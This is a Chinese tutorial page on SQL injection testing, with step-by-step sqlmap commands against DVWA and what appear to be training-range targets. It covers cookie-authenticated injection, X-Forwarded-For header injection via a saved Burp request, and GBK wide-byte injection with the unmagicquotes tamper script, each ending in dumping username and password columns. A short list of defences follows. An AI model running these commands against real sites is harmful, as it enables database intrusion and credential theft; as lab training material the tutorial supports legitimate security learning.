zl程序教程

您现在的位置是:首页 >  其他

当前栏目

Web安全 SQL注入漏洞 工具测试.

2023-09-27 14:29:29 时间

Web安全 SQL注入漏洞测试.

SQL注入就是 有些恶意用户在提交查询请求的过程中 将SQL语句插入到请求内容中,同时程序的本身对用户输入的内容过于相信,没有对用户插入的SQL语句进行任何的过滤,从而直接被SQL语句直接被服务端执行,导致数据库的原有信息泄露,篡改,甚至被删除等风险。


目录

SQL注入漏洞 工具测试:

(1)找到注入点并进行 SQL注入测试,获取数据库中的管理员账号和密码.(含有 cookie 注入)

(2)通过伪造 http 头部信息,绕过服务器对于 ip 地址的限制,再找到注入点 拿到账号和密码.(保存在文件中的注入点.)

(3)登录界面 存在 sql 宽字节注入漏洞,尝试输入特殊字符,使页面报错,验证其存在 sql 注入,然后 利用宽字节注入漏洞找到登录的账号和密码.

SQL注入的防御:


免责声明:

严禁利用本文章中所提到的工具和技术进行非法攻击,否则后果自负,上传者不承担任何责任。


SQL注入漏洞 工具测试:

(1)找到注入点并进行 SQL注入测试,获取数据库中的管理员账号和密码.(有 cookie 注入

第一步:找到注入点并进行 SQL注入测试,进行输入命令并且显示站点所有数据库.

sqlmap -u "http://192.168.0.104:801/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" 
--cookie="security=low; PHPSESSID=e2ciqa7qbuakqbt77t8l6a8mi5" --batch --dbs


【--cookie=""】:如果需要登录,则需要添加用户凭证 cookie 
【--batch 】:默认sqlmap工具提出的(是否)为:y        
【--dbs】:显示站点所有数据库


第二步:数据库中的所有的表显示出来.

sqlmap -u "http://192.168.0.104:801/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" 
--cookie="security=low; PHPSESSID=e2ciqa7qbuakqbt77t8l6a8mi5" 
--batch --tables -D "dvwa"

【--tables -D "dvwa"】:把dvwa数据库中的所有的表显示出来.


 第三步:把表中的所有列显示出来

sqlmap -u "http://192.168.0.104:801/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" 
--cookie="security=low; PHPSESSID=e2ciqa7qbuakqbt77t8l6a8mi5" 
--batch --columns -T 'users'

【-columns -T 'users'】:把users表中的所有列显示出来.


第四步:把列的中的内容显示出来

sqlmap -u "http://192.168.0.104:801/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" 
--cookie="security=low; PHPSESSID=e2ciqa7qbuakqbt77t8l6a8mi5" 
--batch --dump -C "user,password"

【--dump -C "user,password"】:把user 和 password 列的中的内容显示出来.




(2)通过伪造 http 头部信息,绕过服务器对于 ip 地址的限制,再找到注入点 拿到账号和密码.(保存在文件中的注入点.

第一步:来到登录页面.


第二步:随便输入一个账号和密码.

发现登录失败.


第三步:用Burp抓包.

添加:x-forwarded-for:1.1.1.1


发现返回的是自己的添加地址1.1.1.1(说明:这里有SQL注入)

 


 第四步:添加 x-forwarded-for:*            // 保存为txt文件.

添加:x-forwarded-for:*        保存为txt文件.


 第五步:用sqlmap扫描 保存的 1.txt 文件.

命令:sqlmap -r /root/1.txt --batch --current-db
【--batch 】:默认sqlmap工具提出的(是否)为:y         
【--current-db】:显示当前使用的数据库.


 第六步:查看数据库中的所有的表.

命令:sqlmap -r /root/1.txt --batch --tables -D "webcalendar"
【--tables -D "webcalendar"】:把webcalendar数据库中的所有的表显示出来.


 第七步:查看表中所有的列表.

命令:sqlmap -r /root/1.txt --batch --columns -T "user" 
【--columns -T 'user'】:把user表中的所有列显示出来.


 第八步:查看列表中的内容

命令:sqlmap -r /root/1.txt --batch --dump -C "username,password"

【--dump -C "username,password"】把 username 和 password 列的中的内容显示出来.


第九步:有账号和密码去登录就可以拿到flag .




(3)登录界面 存在 sql 宽字节注入漏洞,尝试输入特殊字符,使页面报错,验证其存在 sql 注入,然后 利用宽字节注入漏洞找到登录的账号和密码.

第一步:来到登录页面.


试过随便填账号密码,发现不行. (然后查看页面源代码,发现有一条超链接.


第二步: 文本超链接在这然后点击.


第三步:输入 %df',使页面报错. (验证存在 SQL宽字节注入漏洞

SQL宽字节注入原理分析: 

addslashes()  这个函数会:
将' 转义为 \ gbk编码的时候 %df 和 \ 的编码 %5c 合并为一个字符運从而 ' 可以逃逸


第四步:使用sqlmap(sqlmap中也宽字节插件

命令:sqlmap -u "http://219.153.49.228:42218/new_list.php?id=1" 
--tamper=unmagicquotes.py --batch --dbs 

【--tamper=unmagicquotes.py】是:sqlmap中的宽字节插件        
【--dbs】是:显示所有数据库.


第五步:查看 mozhe_discuz_stormgroup 数据库中的所有表.

命令:sqlmap -u "http://219.153.49.228:42218/new_list.php?id=1" 
--tamper=unmagicquotes.py --batch --tables -D "mozhe_discuz_stormgroup"


【--tables -D "mozhe_discuz_stormgroup"】:
把 mozhe_discuz_stormgroup 数据库中的所有的表显示出来.


第六步:查看这个二个 notice ,stormgroup_member 表中的内容

命令:sqlmap -u "http://219.153.49.228:42218/new_list.php?id=1" 
--tamper=unmagicquotes.py --batch --columns -T "notice,stormgroup_member"

【--columns -T "notice,stormgroup_member"】:
把 notice 和 stormgroup_member 表中的所有列显示出来.


第七步:我们发现 stormgroup_member 表中有账号和密码的列,所有我们查看 stormgroup_member 的内容

命令: sqlmap -u "http://219.153.49.228:42218/new_list.php?id=1" 
--tamper=unmagicquotes.py --batch --dump -C "name,password"

【--dump -C "name,password"】:
把 name 和 password 列的中的内容显示出来.


第八步:用 md5解密 就行.(  然后用账号和密码去登录就行 


SQL注入的防御:

(1)应尽可能用服务器的数据库权限降至最低.

(2)尽可能对进入数据库的特殊字符进行转义处理,或编码转换.

(3)尽可能在检测的时候使用专门的 SQL 注入检测工具进行检测.

(4)尽可能避免网站打印出 SQL 错误信息,比如类型错误、字段不匹配等等.

(5)尽可能在查询语句时,不要直接将用户输入变量直接拼接 SQL 语句中.(可以使用数据库提供的参数化查询接口)